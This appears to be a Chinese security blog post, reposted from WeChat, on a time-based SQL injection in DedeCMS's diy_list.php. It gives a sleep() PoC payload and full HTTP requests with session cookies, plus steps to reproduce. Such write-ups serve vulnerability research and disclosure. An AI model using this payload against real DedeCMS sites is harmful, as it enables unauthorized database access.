No.1
代码审计
依旧是将关注点放在没有使用单引号包裹的 SQL 调用语句
在 uploads/dede/diy_list.php 下发现以下存在漏洞的代码
Poc：if(1=1,sleep(3),0)
GET /uploads/dede/diy_list.php?diyid=1&action=edit&id=if(1=1,sleep(3),0)&do=2&dede_fields=a HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: menuitems=1_1%2C2_1%2C3_1%2C5_1%2C4_1%2C6_1; phpwcmsBELang=en; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=aecc77850b1d8761; DedeLoginTime=1713004735; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=11ea04c5996f5905; PHPSESSID=4a5noop9j49d79tvfci6veollu; _csrf_name_1a3bc368=5f569c5145495e5aeaef1298c3143df2; _csrf_name_1a3bc3681BH21ANI1AGD297L1FF21LN02BGE1DNG=1db8439fd8186538; ENV_GOBACK_URL=%2Fuploads%2Fdede%2Fdiy_main.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1
发现响应时间变长，证明 SQL 注入存在
No.2
漏洞复现
首先在官网下最新版：https://www.dedecms.com/
登录后找到自定义表单处
随便创建一个表单，创建完之后要新增字段再去用一下才行
点击前台预览
使用以下poc：(PS：diyid 要对上你创建的那个，然后 dede_fields 也需要是我们之前填的 a)
GET /uploads/dede/diy_list.php?diyid=2&action=edit&id=if(1=1,sleep(3),0)&do=2&dede_fields=a HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: menuitems=1_1%2C2_1%2C3_1%2C5_1%2C4_1%2C6_1; phpwcmsBELang=en; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=aecc77850b1d8761; DedeLoginTime=1713004735; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=11ea04c5996f5905; PHPSESSID=4a5noop9j49d79tvfci6veollu; _csrf_name_1a3bc368=5f569c5145495e5aeaef1298c3143df2; _csrf_name_1a3bc3681BH21ANI1AGD297L1FF21LN02BGE1DNG=1db8439fd8186538; ENV_GOBACK_URL=%2Fuploads%2Fdede%2Fdiy_main.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1
证明 SQL 注入存在
No.3
原文始发于微信公众号（隐雾安全）：代码审计-Dedecms diy_list.php SQL注入
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论